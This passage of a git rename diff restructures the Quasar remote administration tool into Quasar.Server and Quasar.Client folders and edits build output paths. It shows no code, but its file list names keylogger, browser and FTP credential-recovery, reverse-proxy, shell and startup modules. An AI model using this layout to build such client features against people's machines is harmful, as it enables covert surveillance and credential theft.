Quasar.Server}/flags/mt.png (100%) rename {Server => Quasar.Server}/flags/mu.png (100%) rename {Server => Quasar.Server}/flags/mv.png (100%) rename {Server => Quasar.Server}/flags/mw.png (100%) rename {Server => Quasar.Server}/flags/mx.png (100%) rename {Server => Quasar.Server}/flags/my.png (100%) rename {Server => Quasar.Server}/flags/mz.png (100%) rename {Server => Quasar.Server}/flags/na.png (100%) rename {Server => Quasar.Server}/flags/nc.png (100%) rename {Server => Quasar.Server}/flags/ne.png (100%) rename {Server => Quasar.Server}/flags/nf.png (100%) rename {Server => Quasar.Server}/flags/ng.png (100%) rename {Server => Quasar.Server}/flags/ni.png (100%) rename {Server => Quasar.Server}/flags/nl.png (100%) rename {Server => Quasar.Server}/flags/no.png (100%) rename {Server => Quasar.Server}/flags/np.png (100%) rename {Server => Quasar.Server}/flags/nr.png (100%) rename {Server => Quasar.Server}/flags/nu.png (100%) rename {Server => Quasar.Server}/flags/nz.png (100%) rename {Server => Quasar.Server}/flags/om.png (100%) rename {Server => Quasar.Server}/flags/pa.png (100%) rename {Server => Quasar.Server}/flags/pe.png (100%) rename {Server => Quasar.Server}/flags/pf.png (100%) rename {Server => Quasar.Server}/flags/pg.png (100%) rename {Server => Quasar.Server}/flags/ph.png (100%) rename {Server => Quasar.Server}/flags/pk.png (100%) rename {Server => Quasar.Server}/flags/pl.png (100%) rename {Server => Quasar.Server}/flags/pm.png (100%) rename {Server => Quasar.Server}/flags/pn.png (100%) rename {Server => Quasar.Server}/flags/pr.png (100%) rename {Server => Quasar.Server}/flags/ps.png (100%) rename {Server => Quasar.Server}/flags/pt.png (100%) rename {Server => Quasar.Server}/flags/pw.png (100%) rename {Server => Quasar.Server}/flags/py.png (100%) rename {Server => Quasar.Server}/flags/qa.png (100%) rename {Server => Quasar.Server}/flags/re.png (100%) rename {Server => Quasar.Server}/flags/ro.png (100%) rename {Server => Quasar.Server}/flags/rs.png (100%) rename {Server => Quasar.Server}/flags/ru.png (100%) rename {Server => Quasar.Server}/flags/rw.png (100%) rename {Server => Quasar.Server}/flags/sa.png (100%) rename {Server => Quasar.Server}/flags/sb.png (100%) rename {Server => Quasar.Server}/flags/sc.png (100%) rename {Server => Quasar.Server}/flags/scotland.png (100%) rename {Server => Quasar.Server}/flags/sd.png (100%) rename {Server => Quasar.Server}/flags/se.png (100%) rename {Server => Quasar.Server}/flags/sg.png (100%) rename {Server => Quasar.Server}/flags/sh.png (100%) rename {Server => Quasar.Server}/flags/si.png (100%) rename {Server => Quasar.Server}/flags/sj.png (100%) rename {Server => Quasar.Server}/flags/sk.png (100%) rename {Server => Quasar.Server}/flags/sl.png (100%) rename {Server => Quasar.Server}/flags/sm.png (100%) rename {Server => Quasar.Server}/flags/sn.png (100%) rename {Server => Quasar.Server}/flags/so.png (100%) rename {Server => Quasar.Server}/flags/sr.png (100%) rename {Server => Quasar.Server}/flags/st.png (100%) rename {Server => Quasar.Server}/flags/sv.png (100%) rename {Server => Quasar.Server}/flags/sy.png (100%) rename {Server => Quasar.Server}/flags/sz.png (100%) rename {Server => Quasar.Server}/flags/tc.png (100%) rename {Server => Quasar.Server}/flags/td.png (100%) rename {Server => Quasar.Server}/flags/tf.png (100%) rename {Server => Quasar.Server}/flags/tg.png (100%) rename {Server => Quasar.Server}/flags/th.png (100%) rename {Server => Quasar.Server}/flags/tj.png (100%) rename {Server => Quasar.Server}/flags/tk.png (100%) rename {Server => Quasar.Server}/flags/tl.png (100%) rename {Server => Quasar.Server}/flags/tm.png (100%) rename {Server => Quasar.Server}/flags/tn.png (100%) rename {Server => Quasar.Server}/flags/to.png (100%) rename {Server => Quasar.Server}/flags/tr.png (100%) rename {Server => Quasar.Server}/flags/tt.png (100%) rename {Server => Quasar.Server}/flags/tv.png (100%) rename {Server => Quasar.Server}/flags/tw.png (100%) rename {Server => Quasar.Server}/flags/tz.png (100%) rename {Server => Quasar.Server}/flags/ua.png (100%) rename {Server => Quasar.Server}/flags/ug.png (100%) rename {Server => Quasar.Server}/flags/um.png (100%) rename {Server => Quasar.Server}/flags/us.png (100%) rename {Server => Quasar.Server}/flags/uy.png (100%) rename {Server => Quasar.Server}/flags/uz.png (100%) rename {Server => Quasar.Server}/flags/va.png (100%) rename {Server => Quasar.Server}/flags/vc.png (100%) rename {Server => Quasar.Server}/flags/ve.png (100%) rename {Server => Quasar.Server}/flags/vg.png (100%) rename {Server => Quasar.Server}/flags/vi.png (100%) rename {Server => Quasar.Server}/flags/vn.png (100%) rename {Server => Quasar.Server}/flags/vu.png (100%) rename {Server => Quasar.Server}/flags/wales.png (100%) rename {Server => Quasar.Server}/flags/wf.png (100%) rename {Server => Quasar.Server}/flags/ws.png (100%) rename {Server => Quasar.Server}/flags/xy.png (100%) rename {Server => Quasar.Server}/flags/ye.png (100%) rename {Server => Quasar.Server}/flags/yt.png (100%) rename {Server => Quasar.Server}/flags/za.png (100%) rename {Server => Quasar.Server}/flags/zm.png (100%) rename {Server => Quasar.Server}/flags/zw.png (100%) rename {Server => Quasar.Server}/icons/Quasar_Server.png (100%) rename {Server => Quasar.Server}/images/actions.png (100%) rename {Server => Quasar.Server}/images/application.png (100%) rename {Server => Quasar.Server}/images/application_add.png (100%) rename {Server => Quasar.Server}/images/application_delete.png (100%) rename {Server => Quasar.Server}/images/archive.png (100%) rename {Server => Quasar.Server}/images/back.png (100%) rename {Server => Quasar.Server}/images/bricks.png (100%) rename {Server => Quasar.Server}/images/broom.png (100%) rename {Server => Quasar.Server}/images/cancel.png (100%) rename {Server => Quasar.Server}/images/computer.png (100%) rename {Server => Quasar.Server}/images/copy.png (100%) rename {Server => Quasar.Server}/images/delete.png (100%) rename {Server => Quasar.Server}/images/done.png (100%) rename {Server => Quasar.Server}/images/download.png (100%) rename {Server => Quasar.Server}/images/drive_go.png (100%) rename {Server => Quasar.Server}/images/eye.png (100%) rename {Server => Quasar.Server}/images/file.png (100%) rename {Server => Quasar.Server}/images/folder.png (100%) rename {Server => Quasar.Server}/images/image.png (100%) rename {Server => Quasar.Server}/images/information.png (100%) rename {Server => Quasar.Server}/images/key_go.png (100%) rename {Server => Quasar.Server}/images/keyboard_add.png (100%) rename {Server => Quasar.Server}/images/keyboard_delete.png (100%) rename {Server => Quasar.Server}/images/lightning.png (100%) rename {Server => Quasar.Server}/images/logger.png (100%) rename {Server => Quasar.Server}/images/monitor.png (100%) rename {Server => Quasar.Server}/images/mouse_add.png (100%) rename {Server => Quasar.Server}/images/mouse_delete.png (100%) rename {Server => Quasar.Server}/images/movie.png (100%) rename {Server => Quasar.Server}/images/music.png (100%) rename {Server => Quasar.Server}/images/pdf.png (100%) rename {Server => Quasar.Server}/images/refresh.png (100%) rename {Server => Quasar.Server}/images/reg_binary.png (100%) rename {Server => Quasar.Server}/images/reg_string.png (100%) rename {Server => Quasar.Server}/images/registry.png (100%) rename {Server => Quasar.Server}/images/restart.png (100%) rename {Server => Quasar.Server}/images/run.png (100%) rename {Server => Quasar.Server}/images/save.png (100%) rename {Server => Quasar.Server}/images/server.png (100%) rename {Server => Quasar.Server}/images/server_add.png (100%) rename {Server => Quasar.Server}/images/server_disconnect.png (100%) rename {Server => Quasar.Server}/images/server_link.png (100%) rename {Server => Quasar.Server}/images/server_reconnect.png (100%) rename {Server => Quasar.Server}/images/server_uninstall.png (100%) rename {Server => Quasar.Server}/images/shutdown.png (100%) rename {Server => Quasar.Server}/images/standby.png (100%) rename {Server => Quasar.Server}/images/startup_programs.png (100%) rename {Server => Quasar.Server}/images/task_manager.png (100%) rename {Server => Quasar.Server}/images/terminal.png (100%) rename {Server => Quasar.Server}/images/text.png (100%) rename {Server => Quasar.Server}/images/textfield_rename.png (100%) rename {Server => Quasar.Server}/images/transmit_blue.png (100%) rename {Server => Quasar.Server}/images/uac_shield.png (100%) rename {Server => Quasar.Server}/images/upload.png (100%) rename {Server => Quasar.Server}/images/website.png (100%) rename {Server => Quasar.Server}/images/word.png (100%) rename {Server => Quasar.Server}/images/world_go.png (100%) rename {Server => Quasar.Server}/images/world_link.png (100%) rename {Server => Quasar.Server}/packages.config (100%) diff --git a/Client.Tests/Core/Compression/JpgCompression.Tests.cs b/Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs similarity index 100% rename from Client.Tests/Core/Compression/JpgCompression.Tests.cs rename to Quasar.Client.Tests/Core/Compression/JpgCompression.Tests.cs diff --git a/Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs similarity index 100% rename from Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs rename to Quasar.Client.Tests/Core/Compression/SafeQuickLZ.Tests.cs diff --git a/Client.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Client.Tests/Core/Encryption/AES.Tests.cs similarity index 100% rename from Client.Tests/Core/Encryption/AES.Tests.cs rename to Quasar.Client.Tests/Core/Encryption/AES.Tests.cs diff --git a/Client.Tests/Core/Encryption/SHA256.Tests.cs b/Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs similarity index 100% rename from Client.Tests/Core/Encryption/SHA256.Tests.cs rename to Quasar.Client.Tests/Core/Encryption/SHA256.Tests.cs diff --git a/Client.Tests/Core/Helper/FileHelper.Tests.cs b/Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs similarity index 100% rename from Client.Tests/Core/Helper/FileHelper.Tests.cs rename to Quasar.Client.Tests/Core/Helper/FileHelper.Tests.cs diff --git a/Client.Tests/Properties/AssemblyInfo.cs b/Quasar.Client.Tests/Properties/AssemblyInfo.cs similarity index 100% rename from Client.Tests/Properties/AssemblyInfo.cs rename to Quasar.Client.Tests/Properties/AssemblyInfo.cs diff --git a/Client.Tests/Client.Tests.csproj b/Quasar.Client.Tests/Quasar.Client.Tests.csproj similarity index 96% rename from Client.Tests/Client.Tests.csproj rename to Quasar.Client.Tests/Quasar.Client.Tests.csproj index d4324c6c2..c4a8e4522 100644 --- a/Client.Tests/Client.Tests.csproj +++ b/Quasar.Client.Tests/Quasar.Client.Tests.csproj @@ -19,7 +19,7 @@ true - Bin\Debug\ + ..\bin\Debug\ DEBUG;TRACE full x86 @@ -27,10 +27,10 @@ 4 - Bin\Release\ + ..\bin\Release\ TRACE true - pdbonly + none x86 prompt @@ -61,7 +61,7 @@ - + {9f5cf56a-ddb2-4f40-ab99-2a1dc47588e1} Client diff --git a/Client/Config/Settings.cs b/Quasar.Client/Config/Settings.cs similarity index 100% rename from Client/Config/Settings.cs rename to Quasar.Client/Config/Settings.cs diff --git a/Client/Core/Commands/CommandHandler.cs b/Quasar.Client/Core/Commands/CommandHandler.cs similarity index 100% rename from Client/Core/Commands/CommandHandler.cs rename to Quasar.Client/Core/Commands/CommandHandler.cs diff --git a/Client/Core/Commands/ConnectionHandler.cs b/Quasar.Client/Core/Commands/ConnectionHandler.cs similarity index 100% rename from Client/Core/Commands/ConnectionHandler.cs rename to Quasar.Client/Core/Commands/ConnectionHandler.cs diff --git a/Client/Core/Commands/FileHandler.cs b/Quasar.Client/Core/Commands/FileHandler.cs similarity index 100% rename from Client/Core/Commands/FileHandler.cs rename to Quasar.Client/Core/Commands/FileHandler.cs diff --git a/Client/Core/Commands/MiscHandler.cs b/Quasar.Client/Core/Commands/MiscHandler.cs similarity index 100% rename from Client/Core/Commands/MiscHandler.cs rename to Quasar.Client/Core/Commands/MiscHandler.cs diff --git a/Client/Core/Commands/RegistryHandler.cs b/Quasar.Client/Core/Commands/RegistryHandler.cs similarity index 100% rename from Client/Core/Commands/RegistryHandler.cs rename to Quasar.Client/Core/Commands/RegistryHandler.cs diff --git a/Client/Core/Commands/SurveillanceHandler.cs b/Quasar.Client/Core/Commands/SurveillanceHandler.cs similarity index 100% rename from Client/Core/Commands/SurveillanceHandler.cs rename to Quasar.Client/Core/Commands/SurveillanceHandler.cs diff --git a/Client/Core/Commands/SystemHandler.cs b/Quasar.Client/Core/Commands/SystemHandler.cs similarity index 100% rename from Client/Core/Commands/SystemHandler.cs rename to Quasar.Client/Core/Commands/SystemHandler.cs diff --git a/Client/Core/Commands/TcpConnectionsHandler.cs b/Quasar.Client/Core/Commands/TcpConnectionsHandler.cs similarity index 100% rename from Client/Core/Commands/TcpConnectionsHandler.cs rename to Quasar.Client/Core/Commands/TcpConnectionsHandler.cs diff --git a/Client/Core/Compression/SafeQuickLZ.cs b/Quasar.Client/Core/Compression/SafeQuickLZ.cs similarity index 100% rename from Client/Core/Compression/SafeQuickLZ.cs rename to Quasar.Client/Core/Compression/SafeQuickLZ.cs diff --git a/Client/Core/Cryptography/AES.cs b/Quasar.Client/Core/Cryptography/AES.cs similarity index 100% rename from Client/Core/Cryptography/AES.cs rename to Quasar.Client/Core/Cryptography/AES.cs diff --git a/Client/Core/Cryptography/SHA256.cs b/Quasar.Client/Core/Cryptography/SHA256.cs similarity index 100% rename from Client/Core/Cryptography/SHA256.cs rename to Quasar.Client/Core/Cryptography/SHA256.cs diff --git a/Client/Core/Data/ClientData.cs b/Quasar.Client/Core/Data/ClientData.cs similarity index 100% rename from Client/Core/Data/ClientData.cs rename to Quasar.Client/Core/Data/ClientData.cs diff --git a/Client/Core/Data/GeoInformation.cs b/Quasar.Client/Core/Data/GeoInformation.cs similarity index 100% rename from Client/Core/Data/GeoInformation.cs rename to Quasar.Client/Core/Data/GeoInformation.cs diff --git a/Client/Core/Data/Host.cs b/Quasar.Client/Core/Data/Host.cs similarity index 100% rename from Client/Core/Data/Host.cs rename to Quasar.Client/Core/Data/Host.cs diff --git a/Client/Core/Extensions/RegistryKeyExtensions.cs b/Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs similarity index 100% rename from Client/Core/Extensions/RegistryKeyExtensions.cs rename to Quasar.Client/Core/Extensions/RegistryKeyExtensions.cs diff --git a/Client/Core/Extensions/SocketExtensions.cs b/Quasar.Client/Core/Extensions/SocketExtensions.cs similarity index 100% rename from Client/Core/Extensions/SocketExtensions.cs rename to Quasar.Client/Core/Extensions/SocketExtensions.cs diff --git a/Client/Core/Helper/CryptographyHelper.cs b/Quasar.Client/Core/Helper/CryptographyHelper.cs similarity index 100% rename from Client/Core/Helper/CryptographyHelper.cs rename to Quasar.Client/Core/Helper/CryptographyHelper.cs diff --git a/Client/Core/Helper/DevicesHelper.cs b/Quasar.Client/Core/Helper/DevicesHelper.cs similarity index 100% rename from Client/Core/Helper/DevicesHelper.cs rename to Quasar.Client/Core/Helper/DevicesHelper.cs diff --git a/Client/Core/Helper/FileHelper.cs b/Quasar.Client/Core/Helper/FileHelper.cs similarity index 100% rename from Client/Core/Helper/FileHelper.cs rename to Quasar.Client/Core/Helper/FileHelper.cs diff --git a/Client/Core/Helper/FormatHelper.cs b/Quasar.Client/Core/Helper/FormatHelper.cs similarity index 100% rename from Client/Core/Helper/FormatHelper.cs rename to Quasar.Client/Core/Helper/FormatHelper.cs diff --git a/Client/Core/Helper/GeoLocationHelper.cs b/Quasar.Client/Core/Helper/GeoLocationHelper.cs similarity index 100% rename from Client/Core/Helper/GeoLocationHelper.cs rename to Quasar.Client/Core/Helper/GeoLocationHelper.cs diff --git a/Client/Core/Helper/HostHelper.cs b/Quasar.Client/Core/Helper/HostHelper.cs similarity index 100% rename from Client/Core/Helper/HostHelper.cs rename to Quasar.Client/Core/Helper/HostHelper.cs diff --git a/Client/Core/Helper/KeyloggerHelper.cs b/Quasar.Client/Core/Helper/KeyloggerHelper.cs similarity index 100% rename from Client/Core/Helper/KeyloggerHelper.cs rename to Quasar.Client/Core/Helper/KeyloggerHelper.cs diff --git a/Client/Core/Helper/MutexHelper.cs b/Quasar.Client/Core/Helper/MutexHelper.cs similarity index 100% rename from Client/Core/Helper/MutexHelper.cs rename to Quasar.Client/Core/Helper/MutexHelper.cs diff --git a/Client/Core/Helper/NativeMethodsHelper.cs b/Quasar.Client/Core/Helper/NativeMethodsHelper.cs similarity index 100% rename from Client/Core/Helper/NativeMethodsHelper.cs rename to Quasar.Client/Core/Helper/NativeMethodsHelper.cs diff --git a/Client/Core/Helper/PlatformHelper.cs b/Quasar.Client/Core/Helper/PlatformHelper.cs similarity index 100% rename from Client/Core/Helper/PlatformHelper.cs rename to Quasar.Client/Core/Helper/PlatformHelper.cs diff --git a/Client/Core/Helper/RegistryKeyHelper.cs b/Quasar.Client/Core/Helper/RegistryKeyHelper.cs similarity index 100% rename from Client/Core/Helper/RegistryKeyHelper.cs rename to Quasar.Client/Core/Helper/RegistryKeyHelper.cs diff --git a/Client/Core/Helper/ScreenHelper.cs b/Quasar.Client/Core/Helper/ScreenHelper.cs similarity index 100% rename from Client/Core/Helper/ScreenHelper.cs rename to Quasar.Client/Core/Helper/ScreenHelper.cs diff --git a/Client/Core/Helper/SystemHelper.cs b/Quasar.Client/Core/Helper/SystemHelper.cs similarity index 100% rename from Client/Core/Helper/SystemHelper.cs rename to Quasar.Client/Core/Helper/SystemHelper.cs diff --git a/Client/Core/Helper/WindowsAccountHelper.cs b/Quasar.Client/Core/Helper/WindowsAccountHelper.cs similarity index 100% rename from Client/Core/Helper/WindowsAccountHelper.cs rename to Quasar.Client/Core/Helper/WindowsAccountHelper.cs diff --git a/Client/Core/Installation/ClientInstaller.cs b/Quasar.Client/Core/Installation/ClientInstaller.cs similarity index 100% rename from Client/Core/Installation/ClientInstaller.cs rename to Quasar.Client/Core/Installation/ClientInstaller.cs diff --git a/Client/Core/Installation/ClientUninstaller.cs b/Quasar.Client/Core/Installation/ClientUninstaller.cs similarity index 100% rename from Client/Core/Installation/ClientUninstaller.cs rename to Quasar.Client/Core/Installation/ClientUninstaller.cs diff --git a/Client/Core/Installation/ClientUpdater.cs b/Quasar.Client/Core/Installation/ClientUpdater.cs similarity index 100% rename from Client/Core/Installation/ClientUpdater.cs rename to Quasar.Client/Core/Installation/ClientUpdater.cs diff --git a/Client/Core/Installation/Startup.cs b/Quasar.Client/Core/Installation/Startup.cs similarity index 100% rename from Client/Core/Installation/Startup.cs rename to Quasar.Client/Core/Installation/Startup.cs diff --git a/Client/Core/Networking/Client.cs b/Quasar.Client/Core/Networking/Client.cs similarity index 100% rename from Client/Core/Networking/Client.cs rename to Quasar.Client/Core/Networking/Client.cs diff --git a/Client/Core/Networking/PacketHandler.cs b/Quasar.Client/Core/Networking/PacketHandler.cs similarity index 100% rename from Client/Core/Networking/PacketHandler.cs rename to Quasar.Client/Core/Networking/PacketHandler.cs diff --git a/Client/Core/Networking/QuasarClient.cs b/Quasar.Client/Core/Networking/QuasarClient.cs similarity index 100% rename from Client/Core/Networking/QuasarClient.cs rename to Quasar.Client/Core/Networking/QuasarClient.cs diff --git a/Client/Core/Recovery/Browsers/Chrome.cs b/Quasar.Client/Core/Recovery/Browsers/Chrome.cs similarity index 100% rename from Client/Core/Recovery/Browsers/Chrome.cs rename to Quasar.Client/Core/Recovery/Browsers/Chrome.cs diff --git a/Client/Core/Recovery/Browsers/Firefox.cs b/Quasar.Client/Core/Recovery/Browsers/Firefox.cs similarity index 100% rename from Client/Core/Recovery/Browsers/Firefox.cs rename to Quasar.Client/Core/Recovery/Browsers/Firefox.cs diff --git a/Client/Core/Recovery/Browsers/InternetExplorer.cs b/Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs similarity index 100% rename from Client/Core/Recovery/Browsers/InternetExplorer.cs rename to Quasar.Client/Core/Recovery/Browsers/InternetExplorer.cs diff --git a/Client/Core/Recovery/Browsers/Opera.cs b/Quasar.Client/Core/Recovery/Browsers/Opera.cs similarity index 100% rename from Client/Core/Recovery/Browsers/Opera.cs rename to Quasar.Client/Core/Recovery/Browsers/Opera.cs diff --git a/Client/Core/Recovery/Browsers/Yandex.cs b/Quasar.Client/Core/Recovery/Browsers/Yandex.cs similarity index 100% rename from Client/Core/Recovery/Browsers/Yandex.cs rename to Quasar.Client/Core/Recovery/Browsers/Yandex.cs diff --git a/Client/Core/Recovery/FtpClients/FileZilla.cs b/Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs similarity index 100% rename from Client/Core/Recovery/FtpClients/FileZilla.cs rename to Quasar.Client/Core/Recovery/FtpClients/FileZilla.cs diff --git a/Client/Core/Recovery/FtpClients/WinSCP.cs b/Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs similarity index 100% rename from Client/Core/Recovery/FtpClients/WinSCP.cs rename to Quasar.Client/Core/Recovery/FtpClients/WinSCP.cs diff --git a/Client/Core/Recovery/Utilities/Chromium.cs b/Quasar.Client/Core/Recovery/Utilities/Chromium.cs similarity index 100% rename from Client/Core/Recovery/Utilities/Chromium.cs rename to Quasar.Client/Core/Recovery/Utilities/Chromium.cs diff --git a/Client/Core/Recovery/Utilities/JsonUtil.cs b/Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs similarity index 100% rename from Client/Core/Recovery/Utilities/JsonUtil.cs rename to Quasar.Client/Core/Recovery/Utilities/JsonUtil.cs diff --git a/Client/Core/Recovery/Utilities/SQLiteHandler.cs b/Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs similarity index 100% rename from Client/Core/Recovery/Utilities/SQLiteHandler.cs rename to Quasar.Client/Core/Recovery/Utilities/SQLiteHandler.cs diff --git a/Client/Core/Registry/RegistryEditor.cs b/Quasar.Client/Core/Registry/RegistryEditor.cs similarity index 100% rename from Client/Core/Registry/RegistryEditor.cs rename to Quasar.Client/Core/Registry/RegistryEditor.cs diff --git a/Client/Core/Registry/RegistrySeeker.cs b/Quasar.Client/Core/Registry/RegistrySeeker.cs similarity index 100% rename from Client/Core/Registry/RegistrySeeker.cs rename to Quasar.Client/Core/Registry/RegistrySeeker.cs diff --git a/Client/Core/ReverseProxy/ReverseProxyClient.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs similarity index 100% rename from Client/Core/ReverseProxy/ReverseProxyClient.cs rename to Quasar.Client/Core/ReverseProxy/ReverseProxyClient.cs diff --git a/Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs b/Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs similarity index 100% rename from Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs rename to Quasar.Client/Core/ReverseProxy/ReverseProxyCommandHandler.cs diff --git a/Client/Core/Utilities/HostsManager.cs b/Quasar.Client/Core/Utilities/HostsManager.cs similarity index 100% rename from Client/Core/Utilities/HostsManager.cs rename to Quasar.Client/Core/Utilities/HostsManager.cs diff --git a/Client/Core/Utilities/Keylogger.cs b/Quasar.Client/Core/Utilities/Keylogger.cs similarity index 100% rename from Client/Core/Utilities/Keylogger.cs rename to Quasar.Client/Core/Utilities/Keylogger.cs diff --git a/Client/Core/Utilities/NativeMethods.cs b/Quasar.Client/Core/Utilities/NativeMethods.cs similarity index 100% rename from Client/Core/Utilities/NativeMethods.cs rename to Quasar.Client/Core/Utilities/NativeMethods.cs diff --git a/Client/Core/Utilities/Shell.cs b/Quasar.Client/Core/Utilities/Shell.cs similarity index 100% rename from Client/Core/Utilities/Shell.cs rename to Quasar.Client/Core/Utilities/Shell.cs diff --git a/Client/Program.cs b/Quasar.Client/Program.cs similarity index 100% rename from Client/Program.cs rename to Quasar.Client/Program.cs diff --git a/Client/Properties/AssemblyInfo.cs b/Quasar.Client/Properties/AssemblyInfo.cs similarity index 100% rename from Client/Properties/AssemblyInfo.cs rename to Quasar.Client/Properties/AssemblyInfo.cs diff --git a/Client/Properties/Resources.Designer.cs b/Quasar.Client/Properties/Resources.Designer.cs similarity index 100% rename from Client/Properties/Resources.Designer.cs rename to Quasar.Client/Properties/Resources.Designer.cs diff --git a/Client/Properties/Resources.resx b/Quasar.Client/Properties/Resources.resx similarity index 100% rename from Client/Properties/Resources.resx rename to Quasar.Client/Properties/Resources.resx diff --git a/Client/Properties/Settings.Designer.cs b/Quasar.Client/Properties/Settings.Designer.cs similarity index 100% rename from Client/Properties/Settings.Designer.cs rename to Quasar.Client/Properties/Settings.Designer.cs diff --git a/Client/Properties/Settings.settings b/Quasar.Client/Properties/Settings.settings similarity index 100% rename from Client/Properties/Settings.settings rename to Quasar.Client/Properties/Settings.settings diff --git a/Client/Client.csproj b/Quasar.Client/Quasar.Client.csproj similarity index 98% rename from Client/Client.csproj rename to Quasar.Client/Quasar.Client.csproj index 12b111c56..4e7b6599f 100644 --- a/Client/Client.csproj +++ b/Quasar.Client/Quasar.Client.csproj @@ -19,7 +19,7 @@ true full false - ..\Bin\Debug\ + ..\bin\Debug\ DEBUG;TRACE prompt 4 @@ -29,7 +29,7 @@ x86 none true - ..\Bin\Release\ + ..\bin\Release\ TRACE prompt 4 diff --git a/Client/app.manifest b/Quasar.Client/app.manifest similarity index 100% rename from Client/app.manifest rename to Quasar.Client/app.manifest diff --git a/Client/images/information.png b/Quasar.Client/images/information.png similarity index 100% rename from Client/images/information.png rename to Quasar.Client/images/information.png diff --git a/Client/packages.config b/Quasar.Client/packages.config similarity index 100% rename from Client/packages.config rename to Quasar.Client/packages.config diff --git a/Quasar.Common/Quasar.Common.csproj b/Quasar.Common/Quasar.Common.csproj index d9e342801..44ca83ef0 100644 --- a/Quasar.Common/Quasar.Common.csproj +++ b/Quasar.Common/Quasar.Common.csproj @@ -18,16 +18,18 @@ true full false - bin\Debug\ + ..\bin\Debug\ DEBUG;TRACE prompt 4 true + + none true - bin\Release\ + ..\bin\Release\ TRACE prompt 4 diff --git a/Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs b/Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs similarity index 100% rename from Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs rename to Quasar.Server.Tests/Core/Compression/SafeQuickLZ.Tests.cs diff --git a/Server.Tests/Core/Encryption/AES.Tests.cs b/Quasar.Server.Tests/Core/Encryption/AES.Tests.cs similarity index 100% rename from Server.Tests/Core/Encryption/AES.Tests.cs rename to Quasar.Server.Tests/Core/Encryption/AES.Tests.cs diff --git a/Server.Tests/Properties/AssemblyInfo.cs b/Quasar.Server.Tests/Properties/AssemblyInfo.cs similarity index 100% rename from Server.Tests/Properties/AssemblyInfo.cs rename to Quasar.Server.Tests/Properties/AssemblyInfo.cs diff --git a/Server.Tests/Server.Tests.csproj b/Quasar.Server.Tests/Quasar.Server.Tests.csproj similarity index 96% rename from Server.Tests/Server.Tests.csproj rename to Quasar.Server.Tests/Quasar.Server.Tests.csproj index 22011f6e3..6a039914f 100644 --- a/Server.Tests/Server.Tests.csproj +++ b/Quasar.Server.Tests/Quasar.Server.Tests.csproj @@ -21,7 +21,7 @@ true full false - Bin\Debug\ + ..\bin\Debug\ DEBUG;TRACE prompt 4 @@ -29,9 +29,9 @@ AnyCPU - pdbonly + none true - Bin\Release\ + ..\bin\Release\ TRACE prompt 4 @@ -64,7 +64,7 @@ {c7c363ba-e5b6-4e18-9224-39bc8da73172} Quasar.Common - + {14ca405b-8bac-48ab-9fba-8fb5df88fd0d} Server diff --git a/Server/Controls/DotNetBarTabControl.cs b/Quasar.Server/Controls/DotNetBarTabControl.cs similarity index 100% rename from Server/Controls/DotNetBarTabControl.cs rename to Quasar.Server/Controls/DotNetBarTabControl.cs diff --git a/Server/Controls/HexEditor/ByteCollection.cs b/Quasar.Server/Controls/HexEditor/ByteCollection.cs similarity index 100% rename from Server/Controls/HexEditor/ByteCollection.cs rename to Quasar.Server/Controls/HexEditor/ByteCollection.cs diff --git a/Server/Controls/HexEditor/Caret.cs b/Quasar.Server/Controls/HexEditor/Caret.cs similarity index 100% rename from Server/Controls/HexEditor/Caret.cs rename to Quasar.Server/Controls/HexEditor/Caret.cs diff --git a/Server/Controls/HexEditor/EditView.cs b/Quasar.Server/Controls/HexEditor/EditView.cs similarity index 100% rename from Server/Controls/HexEditor/EditView.cs rename to Quasar.Server/Controls/HexEditor/EditView.cs diff --git a/Server/Controls/HexEditor/HexEditor.cs b/Quasar.Server/Controls/HexEditor/HexEditor.cs similarity index 100% rename from Server/Controls/HexEditor/HexEditor.cs rename to Quasar.Server/Controls/HexEditor/HexEditor.cs diff --git a/Server/Controls/HexEditor/HexViewHandler.cs b/Quasar.Server/Controls/HexEditor/HexViewHandler.cs similarity index 100% rename from Server/Controls/HexEditor/HexViewHandler.cs rename to Quasar.Server/Controls/HexEditor/HexViewHandler.cs diff --git a/Server/Controls/HexEditor/IKeyMouseEventHandler.cs b/Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs similarity index 100% rename from Server/Controls/HexEditor/IKeyMouseEventHandler.cs rename to Quasar.Server/Controls/HexEditor/IKeyMouseEventHandler.cs diff --git a/Server/Controls/HexEditor/StringViewHandler.cs b/Quasar.Server/Controls/HexEditor/StringViewHandler.cs similarity index 100% rename from Server/Controls/HexEditor/StringViewHandler.cs rename to Quasar.Server/Controls/HexEditor/StringViewHandler.cs diff --git a/Server/Controls/InputBox.cs b/Quasar.Server/Controls/InputBox.cs similarity index 100% rename from Server/Controls/InputBox.cs rename to Quasar.Server/Controls/InputBox.cs diff --git a/Server/Controls/Line.cs b/Quasar.Server/Controls/Line.cs similarity index 100% rename from Server/Controls/Line.cs rename to Quasar.Server/Controls/Line.cs diff --git a/Server/Controls/ListViewEx.cs b/Quasar.Server/Controls/ListViewEx.cs similarity index 100% rename from Server/Controls/ListViewEx.cs rename to Quasar.Server/Controls/ListViewEx.cs diff --git a/Server/Controls/RapidPictureBox.cs b/Quasar.Server/Controls/RapidPictureBox.cs similarity index 100% rename from Server/Controls/RapidPictureBox.cs rename to Quasar.Server/Controls/RapidPictureBox.cs diff --git a/Server/Controls/RegistryTreeView.cs b/Quasar.Server/Controls/RegistryTreeView.cs similarity index 100% rename from Server/Controls/RegistryTreeView.cs rename to Quasar.Server/Controls/RegistryTreeView.cs diff --git a/Server/Controls/RegistryValueLstItem.cs 